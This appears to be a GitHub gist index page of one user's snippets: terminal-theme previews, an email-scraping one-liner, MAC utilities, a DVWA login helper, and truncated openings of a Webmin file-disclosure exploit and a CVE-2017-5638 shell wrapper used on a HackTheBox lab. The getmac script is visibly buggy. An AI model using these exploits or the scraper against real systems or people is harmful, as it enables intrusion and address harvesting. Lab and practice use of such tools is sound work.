Skip to content

Instantly share code, notes, and snippets.

@chrispetrou
chrispetrou / previews.sh
Last active September 12, 2024 23:09
bash script to generate previews with different themes from asciinema url
#!/bin/bash
# This is a small bash script that takes as input
# an asciinema public-video's id and produces all possible
# svgs using iterm2 themes using svg-term...
asciinema_id=$1
declare -a themes=("DimmedMonokai" "Pro" "Spiderman" "Twilight" "Hardcore" "Atom" "Hurtado" "SoftServer" "N0tch2k" "Borland" "Tomorrow Night" "Blazer" "Afterglow" "Lavandula" "Floraverse" "Spring" "LiquidCarbonTransparentInverse" "ENCOM" "Mathias" "MonaLisa" "Jellybeans" "Shaman" "Belafonte Day" "C64" "WarmNeon" "CLRS" "Rippedcasts" "Royal" "Tomorrow Night Bright" "Espresso" "Harper" "Later This Evening" "Broadcast" "Smyck" "DotGov" "3024 Night" "IC_Orange_PPL" "Kibble" "WildCherry" "Darkside" "Hybrid" "Parasio Dark" "Espresso Libre" "Terminal Basic" "SpaceGray Eighties" "Solarized Darcula" "Thayer Bright" "Galaxy" "BirdsOfParadise" "Seafoam Pastel" "ToyChest" "Dark Pastel" "Grape" "Flat" "Belafonte Night" "Teerb" "LiquidCarbon" "NightLion v1" "PaulMillr" "Github" "OceanicMaterial" "IC_Green_PPL" "MaterialDark" "Argonaut" "Dracu
@chrispetrou
chrispetrou / scrape_mails.py
Created September 4, 2019 23:33
Tiny snippet that collects emails from webpage...
import sys, re, requests
for email in list(set(re.findall(r'([^\s":<>]+@[^\s":<>]+[.][^\s":<>]+)', requests.get(sys.argv[1], verify=False).text))): print(email)
#!/bin/bash
if [ $# -lt 1 ]; then
echo "getmac.sh <IP>"
fi
IP=$1
ping_output=$(ping -c1 $IP)
mac=ping_output; arp -a | grep $IP | cut -d ' ' -f4
@chrispetrou
chrispetrou / genMAC.pl
Last active March 18, 2019 00:09
Random MAC address generator, implemented in perl...
#!/usr/bin/perl -w
use v5.28;
use strict;
sub genMAC {
my $mac; $mac .= sprintf("%x", rand 16) for 1..12;
$mac =~ s/(..)/$1:/g;
return $mac =~ s/:$//r;
}
@chrispetrou
chrispetrou / dvwa_login.py
Created November 3, 2018 01:40
Login & interact with dvwa application using python
#!/usr/bin/env python
import requests
from bs4 import BeautifulSoup
url = "http://127.0.0.1/dvwa/login.php"
def get_token(source):
soup = BeautifulSoup(source, "html.parser")
return soup.find('input', { "type" : "hidden" })['value']
@chrispetrou
chrispetrou / webmin_lfi.py
Last active September 25, 2018 13:11
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure python exploit
#!/usr/bin/python
# Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure exploit
# python version of the perl exploit found here:
# https://www.exploit-db.com/exploits/2017/
import sys
from requests import get
from requests.exceptions import *
from colorama import Fore,Back,Style
@chrispetrou
chrispetrou / CVE-2017-5638.sh
Last active August 13, 2019 14:19
A semi-interactive shell for the CVE-2017-5638 exploit
#!/bin/sh
# A semi-interactive shell for the CVE-2017-5638 exploit
# (it is actually a wrapper of the CVE-2017-5638 exploit)
# which simply makes the shell a bit more functional.
# used on HackTheBox, stratosphere machine: http://10.10.10.64/Monitoring/example/Welcome.action
if [ ! -z "$1" ]; then
url=$1
else